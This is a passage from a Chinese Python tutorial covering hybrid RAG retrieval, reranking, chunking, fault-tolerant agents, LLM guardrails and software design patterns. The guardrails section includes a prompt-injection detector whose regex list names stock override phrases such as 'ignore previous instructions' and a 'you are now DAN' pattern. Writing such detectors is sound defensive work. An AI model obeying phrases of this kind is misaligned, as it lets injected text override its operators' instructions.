bm25 = BM25Okapi(tokenized_docs)

# 3. 构建向量索引(语义检索)
embeddings = OpenAIEmbeddings()
vectorstore = FAISS.from_texts(documents, embeddings)

# 4. 混合检索函数
def hybrid_search(query: str, top_k: int = 3, alpha: float = 0.5):
    """
    alpha: 向量检索权重(0-1),1-alpha 为 BM25 权重
    alpha=0.7 表示更依赖语义,alpha=0.3 表示更依赖关键词
    """
    # 向量检索:返回 (doc, score) 列表
    vector_results = vectorstore.similarity_search_with_score(query, k=top_k * 2)

    # BM25 检索
    tokenized_query = list(jieba.cut(query))
    bm25_scores = bm25.get_scores(tokenized_query)

    # 归一化分数到 0-1
    import numpy as np
    vec_scores = np.array([1 - score for _, score in vector_results])  # FAISS 距离转相似度
    vec_scores = vec_scores / (vec_scores.max() + 1e-8)
    bm25_norm = bm25_scores / (bm25_scores.max() + 1e-8)

    # 加权融合(RRF 或加权求和)
    final_scores = alpha * vec_scores[:len(bm25_norm)] + (1 - alpha) * bm25_norm[:len(vec_scores)]

    # 按分数排序返回
    ranked_indices = np.argsort(final_scores)[::-1][:top_k]
    return [documents[i] for i in ranked_indices]

results = hybrid_search("退款", top_k=3)
print("混合检索结果:", results)


# ===== Rerank(重排模型):二次精排提升准确率 =====
# 核心思想:先用粗检索(向量+BM25)召回 20-50 条候选,
# 再用 Cross-Encoder 精排模型对每条 (query, doc) 打分,取 Top-K

# pip install sentence-transformers

from sentence_transformers import CrossEncoder

# 加载 Rerank 模型(推荐 bge-reranker 或 Cohere rerank API)
reranker = CrossEncoder("BAAI/bge-reranker-base", max_length=512)

def rag_with_rerank(query: str, top_k: int = 3, recall_k: int = 20):
    """完整 RAG 流程:粗召回 → 精排 → 生成"""
    # 第一步:粗召回(向量 + BM25 混合,召回 recall_k 条)
    candidate_docs = vectorstore.similarity_search(query, k=recall_k)
    candidate_texts = [doc.page_content for doc in candidate_docs]

    # 第二步:Rerank 精排
    pairs = [(query, text) for text in candidate_texts]
    scores = reranker.predict(pairs)

    # 按 Rerank 分数排序,取 Top-K
    ranked = sorted(zip(candidate_texts, scores), key=lambda x: x[1], reverse=True)
    top_docs = [doc for doc, _ in ranked[:top_k]]

    # 第三步:将精排后的文档送入 LLM 生成答案
    context = "\n\n".join(f"[{i+1}] {doc}" for i, doc in enumerate(top_docs))
    prompt = f"""基于以下参考资料回答问题。如果资料中没有相关信息,请说"我无法从提供的资料中找到答案"。

参考资料:
{context}

问题:{query}"""

    return prompt  # 送给 LLM


# ===== Chunking 策略进阶(决定 RAG 质量的关键)=====
# ❌ 初学者做法:固定 500 字符切分——可能把一句话切成两半
# ✅ 生产环境做法:

# 策略 1:递归字符分割(LangChain 默认推荐)
from langchain_text_splitters import RecursiveCharacterTextSplitter

splitter = RecursiveCharacterTextSplitter(
    chunk_size=500,
    chunk_overlap=50,
    separators=["\n\n", "\n", "。", "!", "?", ";", ",", " "],  # 中文友好
    length_function=len,
)

# 策略 2:语义分块(Semantic Chunking)——按语义相似度切分
# 核心思想:计算相邻句子的 embedding 相似度,在"语义断层"处切分
from langchain_experimental.text_splitter import SemanticChunker

semantic_splitter = SemanticChunker(
    OpenAIEmbeddings(),
    breakpoint_threshold_type="percentile",  # 在相似度下降超过阈值处切分
    breakpoint_threshold_amount=75,
)

# 策略 3:父子文档检索(Parent-Child Retrieval)
# 核心思想:小块用于精确检索,命中后返回其所属的大块(父文档)给 LLM
# 这样检索更精确,但 LLM 看到的上下文更完整

from langchain.text_splitter import RecursiveCharacterTextSplitter

parent_splitter = RecursiveCharacterTextSplitter(chunk_size=2000, chunk_overlap=200)
child_splitter = RecursiveCharacterTextSplitter(chunk_size=400, chunk_overlap=50)

def create_parent_child_index(document):
    """创建父子文档索引"""
    parent_docs = parent_splitter.split_documents([document])
    all_child_docs = []
    child_to_parent = {}

    for parent_doc in parent_docs:
        child_docs = child_splitter.split_documents([parent_doc])
        for child in child_docs:
            child.metadata["parent_id"] = parent_doc.metadata.get("source", "") + str(id(parent_doc))
            child_to_parent[child.metadata["parent_id"]] = parent_doc.page_content
            all_child_docs.append(child)

    # 用小块建向量索引(检索更精确)
    child_vectorstore = FAISS.from_documents(all_child_docs, OpenAIEmbeddings())
    return child_vectorstore, child_to_parent

def parent_child_search(query, child_vectorstore, child_to_parent, top_k=3):
    """检索小块,返回大块"""
    child_results = child_vectorstore.similarity_search(query, k=top_k)
    parent_contents = []
    seen = set()
    for doc in child_results:
        parent_id = doc.metadata.get("parent_id")
        if parent_id and parent_id not in seen:
            seen.add(parent_id)
            parent_contents.append(child_to_parent[parent_id])
    return parent_contents  # 返回父文档(上下文更完整)

49.7 Agent 记忆与容错——从 Demo 到生产级

⚠️ 原版问题

上面的 Agent 演示只是"跑通了"工具调用。生产环境的 Agent 面临三个核心问题:(1) 工具调用失败怎么办?(2) 长对话的上下文爆了怎么办?(3) Agent 陷入死循环怎么办?

# ===== ReAct 模式的底层逻辑 =====
# ReAct = Reasoning + Acting
# 每一步 Agent 都经历:Thought → Action → Observation → Thought → ...
# 这不是魔法,而是一个 while 循环 + 状态管理

import json
import time
from openai import OpenAI
from typing import Any

client = OpenAI()

class ProductionAgent:
    """生产级 Agent:带重试、降级、记忆管理"""

    def __init__(self, tools: dict, max_iterations: int = 10, max_retries: int = 3):
        self.tools = tools  # {"tool_name": callable}
        self.max_iterations = max_iterations  # 防止死循环
        self.max_retries = max_retries
        self.memory = []  # 对话历史
        self.tool_schemas = self._build_tool_schemas()

    def _build_tool_schemas(self):
        """从工具函数自动生成 OpenAI Function Calling schema"""
        # 省略具体实现,参考 49.2 节
        return []

    def run(self, user_input: str) -> str:
        """主循环:ReAct 模式"""
        self.memory.append({"role": "user", "content": user_input})

        for iteration in range(self.max_iterations):
            # 1. 调用 LLM,决定下一步
            response = client.chat.completions.create(
                model="gpt-4o",
                messages=self._get_messages(),
                tools=self.tool_schemas,
                tool_choice="auto"
            )
            msg = response.choices[0].message

            # 2. 如果 LLM 决定直接回复(不再调用工具)
            if not msg.tool_calls:
                self.memory.append({"role": "assistant", "content": msg.content})
                return msg.content

            # 3. 执行工具调用(带重试和降级)
            self.memory.append(msg)
            for tool_call in msg.tool_calls:
                result = self._execute_tool_with_retry(tool_call)
                self.memory.append({
                    "role": "tool",
                    "tool_call_id": tool_call.id,
                    "content": json.dumps(result, ensure_ascii=False)
                })

        return "抱歉,我尝试了多次仍无法完成任务。请稍后重试。"

    def _execute_tool_with_retry(self, tool_call) -> dict:
        """工具调用:重试 + 降级 + 超时"""
        func_name = tool_call.function.name
        func_args = json.loads(tool_call.function.arguments)

        for attempt in range(self.max_retries):
            try:
                # 超时控制
                import signal

                def timeout_handler(signum, frame):
                    raise TimeoutError(f"工具 {func_name} 执行超时")

                # 调用工具
                start = time.time()
                result = self.tools[func_name](**func_args)
                elapsed = time.time() - start

                if elapsed > 30:  # 工具执行超过 30 秒记录警告
                    print(f"⚠️ 工具 {func_name} 执行耗时 {elapsed:.1f}s")

                return {"status": "success", "data": result}

            except TimeoutError:
                print(f"⏰ 工具 {func_name} 超时,重试 {attempt + 1}/{self.max_retries}")
                time.sleep(2 ** attempt)  # 指数退避

            except Exception as e:
                print(f"❌ 工具 {func_name} 失败: {e},重试 {attempt + 1}/{self.max_retries}")
                time.sleep(2 ** attempt)

        # 所有重试失败 → 降级:返回友好错误信息而非崩溃
        return {
            "status": "error",
            "message": f"工具 {func_name} 暂时不可用,请尝试其他方式或稍后重试"
        }

    def _get_messages(self) -> list:
        """获取消息历史(带记忆管理)"""
        # 如果对话太长,压缩历史
        if len(self.memory) > 50:
            return self._compress_memory()
        return self.memory.copy()

    def _compress_memory(self) -> list:
        """长对话记忆压缩:摘要记忆"""
        # 取前 30 条消息,让 LLM 生成摘要
        old_messages = self.memory[:30]
        summary_prompt = "请用 3-5 句话总结以下对话的关键信息:\n"
        summary_prompt += "\n".join(
            f"{m['role']}: {m.get('content', '[工具调用]')}" for m in old_messages
        )

        summary_response = client.chat.completions.create(
            model="gpt-4o-mini",  # 用便宜的模型做摘要
            messages=[{"role": "user", "content": summary_prompt}]
        )
        summary = summary_response.choices[0].message.content

        # 用摘要替代旧消息
        return [
            {"role": "system", "content": f"对话历史摘要:{summary}"},
            *self.memory[30:]  # 保留最近的消息
        ]


# ===== 向量记忆(另一种方案)=====
# 核心思想:把历史对话存入向量数据库,每次只检索最相关的几条
# 适合超长对话(几百轮),不需要压缩

import chromadb

class VectorMemory:
    """基于向量检索的对话记忆"""

    def __init__(self):
        self.client = chromadb.Client()
        self.collection = self.client.create_collection("chat_history")
        self.counter = 0

    def add(self, role: str, content: str):
        """添加一条记忆"""
        self.counter += 1
        self.collection.add(
            documents=[content],
            ids=[f"msg_{self.counter}"],
            metadatas=[{"role": role, "turn": self.counter}]
        )

    def recall(self, query: str, top_k: int = 5) -> list:
        """检索与当前话题最相关的历史消息"""
        results = self.collection.query(
            query_texts=[query],
            n_results=top_k
        )
        return results["documents"][0] if results["documents"] else []


# ===== 防止 Agent 死循环的策略 =====
class AgentGuardrails:
    """Agent 安全护栏"""

    @staticmethod
    def check_loop(messages: list, threshold: int = 3) -> bool:
        """检测是否陷入循环:连续 3 次相同的工具调用"""
        if len(messages) < threshold * 2:
            return False
        recent_tool_calls = [
            m for m in messages[-threshold * 2:]
            if m.get("role") == "assistant" and hasattr(m, "tool_calls")
        ]
        # 检查是否有重复的工具调用
        calls = set()
        for msg in recent_tool_calls:
            for tc in msg.tool_calls:
                key = f"{tc.function.name}:{tc.function.arguments}"
                if key in calls:
                    return True
                calls.add(key)
        return False

    @staticmethod
    def check_cost(messages: list, max_tokens: int = 100000) -> bool:
        """检查 token 消耗是否超限"""
        total = sum(len(str(m.get("content", ""))) for m in messages)
        return total > max_tokens  # 粗估

49.8 幻觉兜底(Guardrails)——用工程手段拦截大模型的"胡说八道"

# ===== NeMo Guardrails:NVIDIA 出品的 LLM 安全框架 =====
# pip install nemoguardrails

# 核心思想:在 LLM 前后各加一层"护栏":
# Input Guardrails:拦截有害/违规的用户输入
# Output Guardrails:拦截 LLM 的有害/幻觉输出

# nemoguardrails 配置示例(config.yml):
"""
models:
  - type: main
    engine: openai
    model: gpt-4o

rails:
  input:
    flows:
      - self check input    # 检查用户输入是否违规

  output:
    flows:
      - self check output   # 检查 LLM 输出是否合规
      - check hallucination # 检查是否是幻觉

prompts:
  - task: self_check_input
    content: |
      判断以下用户输入是否包含有害内容(如要求生成违法内容、注入攻击等)。
      用户输入: "{{ user_input }}"
      回答 YES 或 NO。

  - task: self_check_output
    content: |
      判断以下 AI 回答是否包含有害内容或虚假信息。
      AI 回答: "{{ bot_response }}"
      参考资料: "{{ context }}"
      回答 YES 或 NO。
"""

# ===== 自定义 Guardrails(不依赖框架,纯 Python 实现)=====
import re
from typing import Callable

class LLMGuardrails:
    """轻量级 LLM 输出护栏"""

    def __init__(self):
        self.input_rules: list[Callable] = []
        self.output_rules: list[Callable] = []

    def add_input_rule(self, rule: Callable):
        self.input_rules.append(rule)

    def add_output_rule(self, rule: Callable):
        self.output_rules.append(rule)

    def check_input(self, user_input: str) -> tuple[bool, str]:
        """检查用户输入,返回 (通过, 原因)"""
        for rule in self.input_rules:
            passed, reason = rule(user_input)
            if not passed:
                return False, reason
        return True, ""

    def check_output(self, output: str, context: str = "") -> tuple[bool, str]:
        """检查 LLM 输出"""
        for rule in self.output_rules:
            passed, reason = rule(output, context)
            if not passed:
                return False, reason
        return True, ""


# ===== 常用的 Guardrails 规则 =====

def check_prompt_injection(text: str) -> tuple[bool, str]:
    """检测提示词注入攻击"""
    injection_patterns = [
        r"忽略(之前|上面|以上)(的|所有)?(指令|规则|提示)",
        r"ignore (previous|above|all) (instructions|rules)",
        r"你现在是.*?(DAN|越狱|无限制)",
        r"system:\s*you are",
        r"<\|system\|>",
    ]
    for pattern in injection_patterns:
        if re.search(pattern, text, re.IGNORECASE):
            return False, "检测到提示词注入攻击"
    return True, ""


def check_hallucination_against_context(output: str, context: str) -> tuple[bool, str]:
    """简单幻觉检测:输出中的关键事实是否在上下文中有依据"""
    # 提取输出中的数字(电话、金额、日期等)
    numbers_in_output = re.findall(r'\d+[\d\-\.]*', output)
    if not numbers_in_output:
        return True, ""

    # 检查这些数字是否出现在上下文中
    for num in numbers_in_output:
        if num not in context and len(num) > 3:  # 忽略短数字
            return False, f"输出中包含数字 '{num}',但在参考资料中未找到依据(可能是幻觉)"
    return True, ""


def check_sensitive_topics(text: str) -> tuple[bool, str]:
    """检测敏感话题(如医疗建议、法律建议)"""
    sensitive_keywords = ["诊断", "处方", "用药", "法律意见", "投资建议"]
    for keyword in sensitive_keywords:
        if keyword in text:
            return False, f"检测到敏感话题 '{keyword}',建议用户咨询专业人士"
    return True, ""


def check_off_topic(output: str, expected_domain: str) -> tuple[bool, str]:
    """检测是否偏离业务领域"""
    # 简单实现:检查输出是否包含预期领域的关键词
    # 生产环境建议用 LLM 做二次判断
    return True, ""


# ===== 使用示例 =====
guardrails = LLMGuardrails()
guardrails.add_input_rule(check_prompt_injection)
guardrails.add_output_rule(check_hallucination_against_context)
guardrails.add_output_rule(check_sensitive_topics)

# 在 RAG 链中集成
def safe_rag_answer(question: str, context: str) -> str:
    """带 Guardrails 的 RAG 回答"""

    # 1. 输入检查
    passed, reason = guardrails.check_input(question)
    if not passed:
        return f"⚠️ 输入被拦截:{reason}"

    # 2. 调用 LLM
    client = OpenAI()
    response = client.chat.completions.create(
        model="gpt-4o",
        messages=[
            {"role": "system", "content": f"基于以下资料回答:\n{context}"},
            {"role": "user", "content": question}
        ]
    )
    answer = response.choices[0].message.content

    # 3. 输出检查
    passed, reason = guardrails.check_output(answer, context)
    if not passed:
        return f"⚠️ 回答被拦截:{reason}。请重新提问或联系人工客服。"

    return answer
生产环境 RAG 的坑(血泪总结)
  • Chunking 策略决定了 80% 的效果——花 1 天调 chunk_size 比花 1 天调 prompt 有效得多
  • 纯向量检索不够用——必须结合 BM25 混合检索 + Rerank 精排
  • 幻觉不可避免——必须有工程化的 Guardrails 兜底,不能只靠 prompt 约束
  • Agent 会死循环——必须设置最大迭代次数、重复检测、成本上限
  • 长对话会爆上下文——摘要记忆或向量记忆是必选项
  • 工具调用会失败——重试 + 指数退避 + 降级是标配
本章要点
  • OpenAI API 的核心:chat completions、streaming、function calling
  • LangChain 是构建 AI 应用的瑞士军刀,但要理解其核心概念再使用
  • RAG = 检索 + 生成,是让 AI 基于你的数据回答问题的标准方案
  • 生产级 RAG = 混合检索 + Rerank + 精细化 Chunking + Guardrails
  • 向量数据库(ChromaDB、FAISS)是 RAG 的基础设施
  • Function Calling 让 AI 能调用你的代码,是构建 Agent 的基础
  • Agent 生产化:重试降级 + 记忆管理 + 死循环检测 + 成本控制
  • 幻觉兜底:NeMo Guardrails 或自定义规则引擎,拦截有害/虚假输出
  • 生产环境要考虑:限流、缓存、成本控制、错误处理

第五十章:软件架构与设计模式

本章导览

写出能运行的代码是"入门",写出可维护、可扩展、可测试的代码才是"精通"。本章教你 Python 中常用的设计模式、SOLID 原则、项目架构最佳实践。这些是高级工程师和架构师的核心能力。

50.1 SOLID 原则——面向对象设计的基石

# ===== S: 单一职责原则(SRP)=====
# 每个类只负责一件事

# ❌ 错误:一个类做了太多事
class UserBad:
    def __init__(self, name, email):
        self.name = name
        self.email = email

    def save_to_db(self): ...      # 数据库操作
    def send_email(self): ...      # 邮件发送
    def generate_report(self): ... # 报表生成

# ✅ 正确:每个类只负责一件事
class User:
    def __init__(self, name: str, email: str):
        self.name = name
        self.email = email

class UserRepository:
    def save(self, user: User) -> None: ...
    def find_by_id(self, user_id: int) -> User: ...

class EmailService:
    def send_welcome_email(self, user: User) -> None: ...

class ReportGenerator:
    def generate_user_report(self, user: User) -> str: ...


# ===== O: 开闭原则(OCP)=====
# 对扩展开放,对修改关闭

# ❌ 错误:每次新增形状都要修改 AreaCalculator
class AreaCalculatorBad:
    def calculate(self, shape):
        if isinstance(shape, Circle):
            return 3.14 * shape.radius ** 2
        elif isinstance(shape, Rectangle):
            return shape.width * shape.height
        # 新增三角形?又要改这里...

# ✅ 正确:用多态实现扩展
from abc import ABC, abstractmethod
import math

class Shape(ABC):
    @abstractmethod
    def area(self) -> float: ...

class Circle(Shape):
    def __init__(self, radius: float):
        self.radius = radius
    def area(self) -> float:
        return math.pi * self.radius ** 2

class Rectangle(Shape):
    def __init__(self, width: float, height: float):
        self.width = width
        self.height = height
    def area(self) -> float:
        return self.width * self.height

class Triangle(Shape):
    def __init__(self, base: float, height: float):
        self.base = base
        self.height = height
    def area(self) -> float:
        return 0.5 * self.base * self.height

# 新增形状?只需添加新类,不需要修改已有代码
def total_area(shapes: list[Shape]) -> float:
    return sum(s.area() for s in shapes)


# ===== L: 里氏替换原则(LSP)=====
# 子类必须能替换父类使用

# ❌ 违反 LSP
class Bird:
    def fly(self) -> str:
        return "我在飞"

class Penguin(Bird):
    def fly(self) -> str:
        raise Exception("企鹅不会飞!")  # 替换后程序崩溃

# ✅ 遵循 LSP
class Bird:
    def move(self) -> str: ...

class FlyingBird(Bird):
    def move(self) -> str:
        return "我在飞"

class Penguin(Bird):
    def move(self) -> str:
        return "我在游泳"


# ===== I: 接口隔离原则(ISP)=====
# 不要强迫类实现不需要的接口

# ❌ 错误:一个臃肿的接口
class WorkerBad(ABC):
    @abstractmethod
    def work(self) -> None: ...
    @abstractmethod
    def eat(self) -> None: ...
    @abstractmethod
    def sleep(self) -> None: ...

# ✅ 正确:拆分为小接口
class Workable(ABC):
    @abstractmethod
    def work(self) -> None: ...

class Eatable(ABC):
    @abstractmethod
    def eat(self) -> None: ...

class Robot(Workable):  # 机器人只需要实现 work
    def work(self) -> None:
        print("机器人在工作")


# ===== D: 依赖倒置原则(DIP)=====
# 高层模块不应依赖低层模块,都应依赖抽象

# ❌ 错误:直接依赖具体实现
class MySQLDatabase:
    def query(self, sql: str) -> list: ...

class UserServiceBad:
    def __init__(self):
        self.db = MySQLDatabase()  # 直接依赖 MySQL

# ✅ 正确:依赖抽象
class Database(ABC):
    @abstractmethod
    def query(self, sql: str) -> list: ...

class MySQLDatabase(Database):
    def query(self, sql: str) -> list: ...

class PostgreSQLDatabase(Database):
    def query(self, sql: str) -> list: ...

class UserService:
    def __init__(self, db: Database):  # 依赖注入
        self.db = db

50.2 常用设计模式(Python 版)

from abc import ABC, abstractmethod
from typing import Any
import threading

# ===== 1. 单例模式(Singleton)=====
class Singleton:
    _instance = None
    _lock = threading.Lock()

    def __new__(cls, *args, **kwargs):
        if cls._instance is None:
            with cls._lock:
                if cls._instance is None:  # 双重检查锁
                    cls._instance = super().__new__(cls)
        return cls._instance

# 更 Pythonic 的方式:用模块级变量
# config.py
# _config = None
# def get_config():
#     global _config
#     if _config is None:
#         _config = load_config()
#     return _config


# ===== 2. 工厂模式(Factory)=====
class Notification(ABC):
    @abstractmethod
    def send(self, message: str) -> None: ...

class EmailNotification(Notification):
    def send(self, message: str) -> None:
        print(f"📧 邮件:{message}")

class SMSNotification(Notification):
    def send(self, message: str) -> None:
        print(f"📱 短信:{message}")

class PushNotification(Notification):
    def send(self, message: str) -> None:
        print(f"🔔 推送:{message}")

class NotificationFactory:
    _creators = {
        "email": EmailNotification,
        "sms": SMSNotification,
        "push": PushNotification,
    }

    @classmethod
    def create(cls, channel: str) -> Notification:
        creator = cls._creators.get(channel)
        if not creator:
            raise ValueError(f"不支持的通知渠道:{channel}")
        return creator()

# 使用
notifier = NotificationFactory.create("email")
notifier.send("你好!")


# ===== 3. 策略模式(Strategy)=====
class SortStrategy(ABC):
    @abstractmethod
    def sort(self, data: list) -> list: ...

class BubbleSort(SortStrategy):
    def sort(self, data: list) -> list:
        arr = data.copy()
        n = len(arr)
        for i in range(n):
            for j in range(0, n - i - 1):
                if arr[j] > arr[j + 1]:
                    arr[j], arr[j + 1] = arr[j + 1], arr[j]
        return arr

class QuickSort(SortStrategy):
    def sort(self, data: list) -> list:
        if len(data) <= 1:
            return data
        pivot = data[len(data) // 2]
        left = [x for x in data if x < pivot]
        middle = [x for x in data if x == pivot]
        right = [x for x in data if x > pivot]
        return self.sort(left) + middle + self.sort(right)

class Sorter:
    def __init__(self, strategy: SortStrategy):
        self._strategy = strategy

    def sort(self, data: list) -> list:
        return self._strategy.sort(data)

# 使用
sorter = Sorter(QuickSort())
print(sorter.sort([3, 1, 4, 1, 5, 9]))


# ===== 4. 观察者模式(Observer)=====
class EventEmitter:
    def __init__(self):
        self._listeners: dict[str, list] = {}

    def on(self, event: str, callback):
        self._listeners.setdefault(event, []).append(callback)

    def emit(self, event: str, *args, **kwargs):
        for callback in self._listeners.get(event, []):
            callback(*args, **kwargs)

# 使用
emitter = EventEmitter()
emitter.on("user_created", lambda user: print(f"发送欢迎邮件给 {user}"))
emitter.on("user_created", lambda user: print(f"记录日志:{user} 注册"))
emitter.emit("user_created", "张三")


# ===== 5. 装饰器模式(Decorator)=====
class Coffee(ABC):
    @abstractmethod
    def cost(self) -> float: ...
    @abstractmethod
    def description(self) -> str: ...

class Espresso(Coffee):
    def cost(self) -> float: return 15.0
    def description(self) -> str: return "浓缩咖啡"

class CoffeeDecorator(Coffee):
    def __init__(self, coffee: Coffee):
        self._coffee = coffee

class MilkDecorator(CoffeeDecorator):
    def cost(self) -> float: return self._coffee.cost() + 5.0
    def description(self) -> str: return self._coffee.description() + " + 牛奶"

class SugarDecorator(CoffeeDecorator):
    def cost(self) -> float: return self._coffee.cost() + 2.0
    def description(self) -> str: return self._coffee.description() + " + 糖"

# 使用(可以自由组合)
coffee = Espresso()
coffee = MilkDecorator(coffee)
coffee = SugarDecorator(coffee)
print(f"{coffee.description()}: ¥{coffee.cost()}")
# 浓缩咖啡 + 牛奶 + 糖: ¥22.0


# ===== 6. 依赖注入容器 =====
class Container:
    def __init__(self):
        self._services = {}

    def register(self, name: str, factory, singleton: bool = False):
        self._services[name] = {"factory": factory, "singleton": singleton, "instance": None}

    def resolve(self, name: str) -> Any:
        service = self._services[name]
        if service["singleton"]:
            if service["instance"] is None:
                service["instance"] = service["factory"]()
            return service["instance"]
        return service["factory"]()

# 使用
container = Container()
container.register("database", lambda: MySQLDatabase(), singleton=True)
container.register("user_service", lambda: UserService(container.resolve("database")))

50.3 Python 项目架构最佳实践

# ===== 分层架构 =====
# 表示层 → 业务层 → 数据层 → 基础设施层

# 项目结构示例:
my_app/
├── presentation/          # 表示层(API、CLI、Web)
│   ├── api/
│   │   ├── routes.py      # 路由定义
│   │   ├── schemas.py     # Pydantic 请求/响应模型
│   │   └── dependencies.py # FastAPI 依赖注入
│   └── cli/
│       └── commands.py
├── application/           # 应用层(用例/服务)
│   ├── services/
│   │   ├── user_service.py
│   │   └── order_service.py
│   └── dto/               # 数据传输对象
├── domain/                # 领域层(核心业务逻辑)
│   ├── models/
│   │   ├── user.py        # 领域模型
│   │   └── order.py
│   ├── repositories/      # 仓储接口(抽象)
│   │   └── user_repo.py
│   └── events/            # 领域事件
├── infrastructure/        # 基础设施层
│   ├── database/
│   │   ├── connection.py
│   │   └── user_repo_impl.py  # 仓储实现
│   ├── cache/
│   │   └── redis_client.py
│   └── external/
│       └── email_client.py
├── tests/
│   ├── unit/
│   ├── integration/
│   └── e2e/
└── config.py

# ===== 依赖注入示例 =====
# domain/repositories/user_repo.py
from abc import ABC, abstractmethod
from domain.models.user import User

class UserRepository(ABC):
    @abstractmethod
    async def find_by_id(self, user_id: int) -> User | None: ...
    @abstractmethod
    async def save(self, user: User) -> None: ...

# infrastructure/database/user_repo_impl.py
from domain.repositories.user_repo import UserRepository
from domain.models.user import User

class PostgresUserRepository(UserRepository):
    def __init__(self, db_session):
        self._session = db_session

    async def find_by_id(self, user_id: int) -> User | None:
        # 实际数据库查询
        ...

# application/services/user_service.py
class UserService:
    def __init__(self, user_repo: UserRepository):  # 依赖抽象
        self._repo = user_repo

    async def get_user(self, user_id: int) -> User:
        user = await self._repo.find_by_id(user_id)
        if not user:
            raise ValueError(f"用户 {user_id} 不存在")
        return user

# presentation/api/dependencies.py
# FastAPI 的依赖注入
# def get_user_service():
#     repo = PostgresUserRepository(get_db_session())
#     return UserService(repo)

50.4 实战重构——从"面条代码"到设计模式

⚠️ 原版问题

前面的 SOLID 原则和设计模式用的都是"计算面积""企鹅和鸟"这种教科书案例。但真实项目中,你面对的不是企鹅,而是一坨 1000 行的"面条代码"。下面用一个真实的订单服务演示如何用设计模式重构。

# ===== 重构前:一坨 1000 行的 OrderService =====
# ❌ 这段代码有什么"坏味道"?
# 1. God Class(上帝类):一个类做了所有事
# 2. 长方法:一个方法 200 行
# 3. 深度嵌套:if/elif/else 套了 5 层
# 4. 硬编码:促销规则写死在代码里
# 5. 副作用混杂:校验、计算、扣库存、发短信全混在一起

class OrderServiceBad:
    def create_order(self, user_id, items, coupon_code=None):
        # --- 校验逻辑(100 行)---
        if not user_id:
            raise ValueError("用户ID不能为空")
        user = db.query_user(user_id)
        if not user:
            raise ValueError("用户不存在")
        if user.is_blocked:
            raise ValueError("用户被封禁")
        if not items:
            raise ValueError("商品列表不能为空")
        for item in items:
            product = db.query_product(item['product_id'])
            if not product:
                raise ValueError(f"商品 {item['product_id']} 不存在")
            if product.stock < item['quantity']:
                raise ValueError(f"商品 {product.name} 库存不足")
            if item['quantity'] <= 0:
                raise ValueError("购买数量必须大于 0")
        # ... 还有 50 行校验 ...

        # --- 促销计算(200 行)---
        total = 0
        for item in items:
            product = db.query_product(item['product_id'])
            price = product.price
            # 满减
            if coupon_code:
                coupon = db.query_coupon(coupon_code)
                if coupon.type == "fixed":
                    price -= coupon.value
                elif coupon.type == "percent":
                    price *= (1 - coupon.value / 100)
                elif coupon.type == "buy2get1":
                    if item['quantity'] >= 2:
                        # 复杂的买二送一逻辑...
                        pass
            # 会员折扣
            if user.level == "gold":
                price *= 0.95
            elif user.level == "silver":
                price *= 0.98
            # 限时折扣
            if product.flash_sale and datetime.now() < product.flash_sale_end:
                price *= product.flash_sale_discount
            total += price * item['quantity']

        # --- 扣库存 + 发短信 + 发积分 + 记日志(全混在一起)---
        for item in items:
            db.deduct_stock(item['product_id'], item['quantity'])
        db.deduct_balance(user_id, total)
        db.add_points(user_id, int(total))
        sms.send(user.phone, f"您的订单已创建,金额 {total} 元")
        logger.info(f"订单创建: user={user_id}, amount={total}")
        # ... 还有 200 行 ...


# ===== 重构后:用设计模式拆解 =====

# ---- 1. 策略模式 + 工厂模式:重构促销计算 ----
from abc import ABC, abstractmethod
from dataclasses import dataclass

@dataclass
class OrderItem:
    product_id: int
    quantity: int
    unit_price: float

class PromotionStrategy(ABC):
    """促销策略接口"""
    @abstractmethod
    def apply(self, items: list[OrderItem], user: dict) -> float:
        """计算折后总价"""
        ...

class NoPromotion(PromotionStrategy):
    def apply(self, items, user):
        return sum(item.unit_price * item.quantity for item in items)

class FixedCoupon(PromotionStrategy):
    """满减券"""
    def __init__(self, value: float, min_amount: float = 0):
        self.value = value
        self.min_amount = min_amount

    def apply(self, items, user):
        total = sum(item.unit_price * item.quantity for item in items)
        if total >= self.min_amount:
            return max(0, total - self.value)
        return total

class PercentCoupon(PromotionStrategy):
    """折扣券"""
    def __init__(self, percent: float):
        self.percent = percent

    def apply(self, items, user):
        total = sum(item.unit_price * item.quantity for item in items)
        return total * (1 - self.percent / 100)

class MemberDiscount(PromotionStrategy):
    """会员折扣"""
    DISCOUNT_MAP = {"gold": 0.95, "silver": 0.98, "bronze": 1.0}

    def apply(self, items, user):
        total = sum(item.unit_price * item.quantity for item in items)
        return total * self.DISCOUNT_MAP.get(user.get("level", ""), 1.0)

class PromotionFactory:
    """促销策略工厂——新增促销类型只需注册,不改已有代码"""
    _strategies = {
        "no_promotion": NoPromotion,
        "fixed_coupon": FixedCoupon,
        "percent_coupon": PercentCoupon,
        "member_discount": MemberDiscount,
    }

    @classmethod
    def create(cls, promo_type: str, **kwargs) -> PromotionStrategy:
        strategy_cls = cls._strategies.get(promo_type)
        if not strategy_cls:
            raise ValueError(f"未知促销类型: {promo_type}")
        return strategy_cls(**kwargs)

    @classmethod
    def register(cls, name: str, strategy_cls):
        """动态注册新策略(开闭原则)"""
        cls._strategies[name] = strategy_cls


# ---- 2. 责任链模式:重构订单校验流程 ----
class ValidationRule(ABC):
    """校验规则基类"""
    def __init__(self):
        self._next: ValidationRule | None = None

    def set_next(self, rule: 'ValidationRule') -> 'ValidationRule':
        self._next = rule
        return rule

    def validate(self, context: dict):
        self._do_validate(context)
        if self._next:
            self._next.validate(context)

    @abstractmethod
    def _do_validate(self, context: dict):
        ...

class UserValidation(ValidationRule):
    def _do_validate(self, context):
        user = context.get("user")
        if not user:
            raise ValueError("用户不存在")
        if user.get("is_blocked"):
            raise ValueError("用户被封禁")

class StockValidation(ValidationRule):
    def _do_validate(self, context):
        for item in context["items"]:
            product = context["products"].get(item.product_id)
            if not product:
                raise ValueError(f"商品 {item.product_id} 不存在")
            if product["stock"] < item.quantity:
                raise ValueError(f"商品 {product['name']} 库存不足")

class BalanceValidation(ValidationRule):
    def _do_validate(self, context):
        user = context["user"]
        total = context["total"]
        if user.get("balance", 0) < total:
            raise ValueError("余额不足")

# 组装校验链
def build_validation_chain() -> ValidationRule:
    user_rule = UserValidation()
    stock_rule = StockValidation()
    balance_rule = BalanceValidation()
    user_rule.set_next(stock_rule).set_next(balance_rule)
    return user_rule


# ---- 3. 观察者模式(或消息队列):解耦非核心链路 ----
# 核心链路:校验 → 计算 → 扣库存 → 扣款(必须同步、必须成功)
# 非核心链路:发短信、发积分、记日志、推送通知(可以异步、可以失败重试)

from enum import Enum

class OrderEvent(Enum):
    CREATED = "order.created"
    PAID = "order.paid"
    CANCELLED = "order.cancelled"

class EventBus:
    """事件总线(观察者模式的生产级实现)"""
    def __init__(self):
